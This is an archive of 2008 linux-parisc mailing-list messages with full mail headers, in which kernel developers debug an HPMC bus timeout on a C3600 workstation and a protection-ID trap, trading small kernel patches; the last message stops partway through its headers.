X-Trace: ger.gmane.org 1229820097 23733 80.91.229.12 (21 Dec 2008 00:41:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 00:41:37 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 21 01:42:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LECOj-0005AS-J7
	for glpp-linux-parisc@gmane.org; Sun, 21 Dec 2008 01:42:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751056AbYLUAlG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Dec 2008 19:41:06 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751260AbYLUAlF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Dec 2008 19:41:05 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:33367 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751056AbYLUAlF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Dec 2008 19:41:05 -0500
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1+OdMU8hTnRuyWar791pNl5avOFGIF4eXQ@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id mBL0f1Aj025283
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Sun, 21 Dec 2008 00:41:01 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id mBL0f113025265
	for linux-parisc@vger.kernel.org; Sun, 21 Dec 2008 00:41:01 GMT
X-Virus-Scanned: ClamAV 0.93.3/8787/Sat Dec 20 07:10:43 2008 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Sun, 21 Dec 2008 00:41:03 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1002
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1002>

New commits:
commit be2d147d9a28c5fafb6c940ffee9aad1e97d8ed1
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Sun Dec 21 00:39:04 2008 +0000

    parisc: use leX_to_cpu in place of __fswabX
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Sun, 21 Dec 2008 01:10:21 -0700
Lines: 76
Approved: news@gmane.org
Message-ID: <20081221081021.GB2047@colo.lackof.org>
References: <20081220133915.4c167e09@bleh.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229847045 6168 80.91.229.12 (21 Dec 2008 08:10:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 08:10:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 21 09:11:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEJPk-00062H-0k
	for glpp-linux-parisc@gmane.org; Sun, 21 Dec 2008 09:11:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751195AbYLUIKg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 03:10:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751259AbYLUIKg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 03:10:36 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:41176 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751195AbYLUIKg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 03:10:36 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C9E3929C093;
	Sun, 21 Dec 2008 01:10:32 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01291-09; Sun, 21 Dec 2008 01:10:22 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2AD5229C037; Sun, 21 Dec 2008 01:10:22 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081220133915.4c167e09@bleh.bxl.tuxicoman.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1003
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1003>

On Sat, Dec 20, 2008 at 01:39:15PM +0100, Guy Martin wrote:
> I'm recently running into HPMC bus timeout problem. While this never
> caused any problem before, I've noticed a few strange things. I've
> attached the output I get from "pim hpmc" in the PDC.
> 
> This BUS timeout occurs after one or two days of idling when I plug a
> specific card reader in the USB PCI card I plugged in. I think this
> card reader causes problems because it's being polled every 2-3 seconds.
> 
> Nevertheless, looking at the pdc output, it seems that the OS HPMC
> handler is not kicking off according to the chassis code CBF2 and CBFC.
> CBF2 : bas OS HPMC len
> CBFC : OS HPMC br err
> 
> I've check GR02 and it points to inw() which makes sens. Nothing
> interesting there.
> 
> The failing device appears to be the built-in NIC according the path
> provided in the output (10/0/12/0) and the C3600 service manual (figure
> 5-2).

It's likely the NIC (tulip driver) is just more active than the other
USB controller and thus becomes the "victim" of the USB misbehavior.
This is very common for DMA programming bugs.

"word2" from this bit of the HPMC  needs to be decoded:

I/O Module Error Log Information:

Timestamp =
  Tue Dec  16 21:23:47 GMT 2008    (20:08:12:16:21:23:47)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc2a9   0x00000000fed30048
...

Both the USB controller and NIC are on Rope 0. If the USB controller
falls over, it will take all devices on that bus with it.

We've seen "0x0e0cc2a9" before but it wasn't decoded then either.


> Even if this look HW pb, I've had a few reports recently about HPMC PCI
> timeout issues and I have a few doubts.
> 
> Now my questions are :
>  - does this look like an HW or SW problems ?

More likely SW.

>  - why isn't the HPMC handler kicked off ?

No Idea. Probably not hooked in correctly.
But this might also explain why you haven't seen many HPMC bug reports.

>  - could the HPMC handler recover this ?

No.

>  - what debug can I enable to get more info about this if applicable ?

I'd look carefully at USB DMA streams. This will likely require
adding debug code to USB drivers. Mostly to dump when a USB buffer is
mapped and when it's unmap.

hth,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Sun, 21 Dec 2008 01:12:06 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20081221081206.GC2047@colo.lackof.org>
References: <20081220133915.4c167e09@bleh.bxl.tuxicoman.be> <20081220221653.GA12880@bombadil.infradead.org> <20081220222100.GB12880@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229847154 6335 80.91.229.12 (21 Dec 2008 08:12:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 08:12:34 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 21 09:13:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEJRV-0006KH-1N
	for glpp-linux-parisc@gmane.org; Sun, 21 Dec 2008 09:13:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751291AbYLUIMU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 03:12:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751442AbYLUIMU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 03:12:20 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:41187 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751433AbYLUIMT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 03:12:19 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0608F29C093;
	Sun, 21 Dec 2008 01:12:17 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01291-10; Sun, 21 Dec 2008 01:12:06 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9F66829C037; Sun, 21 Dec 2008 01:12:06 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081220222100.GB12880@bombadil.infradead.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1004
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1004>

On Sat, Dec 20, 2008 at 05:21:00PM -0500, Kyle McMartin wrote:
> On Sat, Dec 20, 2008 at 05:16:53PM -0500, Kyle McMartin wrote:
> > you can try hacking elroy to set softfail mode on that bus, which will
> > result in a timeout on the pci bus to return -1 (like what x86 and most
> > other architectures do) rather than hang the box, but it really likely
> > means a driver bug.
> 
> untested and all that jazz.
> 
> diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
> index a28c894..a34f759 100644
> --- a/drivers/parisc/lba_pci.c
> +++ b/drivers/parisc/lba_pci.c
> @@ -1341,7 +1341,7 @@ lba_hw_init(struct lba_device *d)
>  
>  	/* Set HF mode as the default (vs. -1 mode). */
>          stat = READ_REG32(d->hba.base_addr + LBA_STAT_CTL);
> -	WRITE_REG32(stat | HF_ENABLE, d->hba.base_addr + LBA_STAT_CTL);
> +	WRITE_REG32(stat & ~HF_ENABLE, d->hba.base_addr + LBA_STAT_CTL);

I'm not sure how helpful this will be. It will be unpredictable how
the tulip driver will handle getting -1's back from inw().

thanks,
grant

>  
>  	/*
>  	** Writing a zero to STAT_CTL.rf (bit 0) will clear reset signal
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Sun, 21 Dec 2008 10:20:16 -0500 (EST)
Lines: 47
Approved: news@gmane.org
Message-ID: <20081221152017.102C84F19@hiauly1.hia.nrc.ca>
References: <20081219212906.GG8945@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229872835 31848 80.91.229.12 (21 Dec 2008 15:20:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 15:20:35 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 21 16:21:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEQ7a-0007jc-Pz
	for glpp-linux-parisc@gmane.org; Sun, 21 Dec 2008 16:21:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752264AbYLUPUT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 10:20:19 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752373AbYLUPUT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 10:20:19 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2277 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752264AbYLUPUS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 10:20:18 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 102C84F19; Sun, 21 Dec 2008 10:20:16 -0500 (EST)
In-Reply-To: <20081219212906.GG8945@bombadil.infradead.org> from "Kyle McMartin" at Dec 19, 2008 04:29:06 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1005
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1005>

> Honestly, I can't decide whether to apply this. It really should never
> happen in the kernel, since the kernel can guarantee it won't get the
> access rights failure (highest privilege level, and can set %sr and
> %protid to whatever it wants.)

I believe this change should be applied because we enable P and the
hardware can generate the exception.  Yes, it should never happen, but
the coding to prevent this occurring is very subtle.

> It really genuinely is a bug that probably should panic the kernel. The
> only precedent I can easily see is x86 fixing up a bad iret with a
> general protection fault, which is more or less analogous to code 27
> here.

I don't think we have enough information here.  A panic doesn't tell
us what we need to know...

> On the other hand, taking the exception on a userspace access really
> isn't all that critical, and there's fundamentally little reason for the
> kernel not to SIGSEGV the process, and continue...

Agreed, especially in a __put_user operation.

> (btw, I've instrumented my do_sys_poll with a pile of assertions that
>  %cr8 << 1 == %sr3 == current->mm.context... let's see if where we're
>  getting corrupted is deterministic, though, I would guess that it won't
>  be.)

Having looked at the code a bit, I have come to the conclusion that the
problem is not with the sr3 value.  We have a one-to-one mapping between
space register values and protection IDs.  TLB entries get inserted using
the space register value for the protection ID (see entry.S).  So, I think
we have to have inconsistent values in cr8 and sr3.

I think the bug may be in flush_user_cache_page_non_current.  It hijacks
sr3 temporarily and I don't think cr8 is updated when this is done.  The
switch may need to be atomic.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Sun, 21 Dec 2008 12:27:42 -0500 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <20081221172742.C1BB54E99@hiauly1.hia.nrc.ca>
References: <20081221152017.102C84F19@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229880480 20031 80.91.229.12 (21 Dec 2008 17:28:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 17:28:00 +0000 (UTC)
Cc: kyle@infradead.org, deller@gmx.de, linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 21 18:29:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LES6u-0001RB-Kd
	for glpp-linux-parisc@gmane.org; Sun, 21 Dec 2008 18:29:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750825AbYLUR1p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 12:27:45 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750851AbYLUR1p
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 12:27:45 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3051 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750825AbYLUR1o (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 12:27:44 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C1BB54E99; Sun, 21 Dec 2008 12:27:42 -0500 (EST)
In-Reply-To: <20081221152017.102C84F19@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 21, 2008 10:20:16 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1006
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1006>

> I think the bug may be in flush_user_cache_page_non_current.  It hijacks
> sr3 temporarily and I don't think cr8 is updated when this is done.  The
> switch may need to be atomic.

The following might fix the protection ID bug.

--- cache.c.orig	2008-07-17 21:24:46.000000000 -0400
+++ cache.c	2008-12-21 11:53:54.000000000 -0500
@@ -312,14 +312,14 @@
 
 	/* make us current */
 	mtctl(__pa(vma->vm_mm->pgd), 25);
-	mtsp(vma->vm_mm->context, 3);
+	load_context(vma->vm_mm->context);
 
 	flush_user_dcache_page(vmaddr);
 	if(vma->vm_flags & VM_EXEC)
 		flush_user_icache_page(vmaddr);
 
 	/* put the old current process back */
-	mtsp(space, 3);
+	load_context(space);
 	mtctl(pgd, 25);
 	preempt_enable();
 }

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Sun, 21 Dec 2008 16:33:03 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20081221213303.GE12880@bombadil.infradead.org>
References: <20081221152017.102C84F19@hiauly1.hia.nrc.ca> <20081221172742.C1BB54E99@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229895198 27889 80.91.229.12 (21 Dec 2008 21:33:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 21:33:18 +0000 (UTC)
Cc: kyle@infradead.org, deller@gmx.de, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 21 22:34:23 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEVwN-0003e7-2O
	for glpp-linux-parisc@gmane.org; Sun, 21 Dec 2008 22:34:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751260AbYLUVdH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 16:33:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751358AbYLUVdH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 16:33:07 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:48605 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751260AbYLUVdH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 16:33:07 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LEVv5-0007fG-Ud; Sun, 21 Dec 2008 21:33:03 +0000
Content-Disposition: inline
In-Reply-To: <20081221172742.C1BB54E99@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1007
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1007>

On Sun, Dec 21, 2008 at 12:27:42PM -0500, John David Anglin wrote:
> > I think the bug may be in flush_user_cache_page_non_current.  It hijacks
> > sr3 temporarily and I don't think cr8 is updated when this is done.  The
> > switch may need to be atomic.
> 
> The following might fix the protection ID bug.
> 

I'm not convinced... this doesn't explain why we don't see this on
64-bit...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Sun, 21 Dec 2008 17:02:59 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20081221220259.GA30144@bombadil.infradead.org>
References: <20081221152017.102C84F19@hiauly1.hia.nrc.ca> <20081221172742.C1BB54E99@hiauly1.hia.nrc.ca> <20081221213303.GE12880@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229896994 463 80.91.229.12 (21 Dec 2008 22:03:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 22:03:14 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 21 23:04:19 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEWPL-00038j-CG
	for glpp-linux-parisc@gmane.org; Sun, 21 Dec 2008 23:04:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751330AbYLUWDE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 17:03:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751367AbYLUWDE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Dec 2008 17:03:04 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:59268 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751330AbYLUWDD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Dec 2008 17:03:03 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LEWO3-0000pr-Op; Sun, 21 Dec 2008 22:02:59 +0000
Content-Disposition: inline
In-Reply-To: <20081221213303.GE12880@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1008
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1008>

On Sun, Dec 21, 2008 at 04:33:03PM -0500, Kyle McMartin wrote:
> On Sun, Dec 21, 2008 at 12:27:42PM -0500, John David Anglin wrote:
> > > I think the bug may be in flush_user_cache_page_non_current.  It hijacks
> > > sr3 temporarily and I don't think cr8 is updated when this is done.  The
> > > switch may need to be atomic.
> > 
> > The following might fix the protection ID bug.
> > 
> 
> I'm not convinced... this doesn't explain why we don't see this on
> 64-bit...
> 

Nope, no love... :\
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Sun, 21 Dec 2008 17:11:11 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <20081221221111.EADEE4F19@hiauly1.hia.nrc.ca>
References: <20081221213303.GE12880@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229897484 1991 80.91.229.12 (21 Dec 2008 22:11:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Dec 2008 22:11:24 +0000 (UTC)
Cc: kyle@infradead.org, deller@gmx.de, linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 21 23:12:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEWXF-0005AW-1b
	for glpp-linux-parisc@gmane.org; Sun, 21 Dec 2008 23:12:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751380AbYLUWLN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Dec 2008 17:11:13 -0500
